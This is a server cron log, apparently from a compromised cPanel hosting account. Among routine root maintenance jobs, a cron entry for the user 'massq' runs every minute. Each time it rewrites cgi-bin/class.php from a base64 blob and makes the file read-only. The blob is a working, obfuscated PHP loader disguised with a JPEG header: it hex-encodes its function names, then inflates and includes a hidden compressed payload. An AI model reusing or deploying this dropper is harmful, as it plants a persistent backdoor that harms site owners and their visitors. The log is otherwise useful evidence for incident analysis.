Sep  3 19:05:01 server CROND[28774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:05:01 server CROND[28775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:05:01 server CROND[28776]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:05:01 server CROND[28779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:05:01 server CROND[28777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:05:01 server CROND[28778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:06:01 server CROND[29598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:06:01 server CROND[29600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:06:01 server CROND[29601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:07:01 server CROND[29983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:07:01 server CROND[29985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:07:01 server CROND[29984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:08:01 server CROND[30351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:08:01 server CROND[30352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:08:01 server CROND[30353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:09:01 server CROND[30821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:09:01 server CROND[30823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:09:01 server CROND[30822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:09:01 server CROND[30824]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 19:10:01 server CROND[31220]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:10:01 server CROND[31222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:10:01 server CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:10:01 server CROND[31225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:10:01 server CROND[31224]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:10:01 server CROND[31227]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:10:01 server CROND[31229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:10:01 server CROND[31230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:11:01 server CROND[32097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:11:01 server CROND[32098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:11:01 server CROND[32099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:12:01 server CROND[32486]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:12:01 server CROND[32487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:12:01 server CROND[32488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:12:01 server CROND[32489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:13:01 server CROND[408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:13:01 server CROND[409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:13:01 server CROND[410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:14:01 server CROND[900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:14:01 server CROND[901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:14:01 server CROND[902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:15:01 server CROND[1377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:15:01 server CROND[1379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:15:01 server CROND[1380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:15:01 server CROND[1385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:15:01 server CROND[1386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:15:01 server CROND[1387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:15:01 server CROND[1384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:15:01 server CROND[1383]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 19:16:01 server CROND[2257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:16:01 server CROND[2258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:16:01 server CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
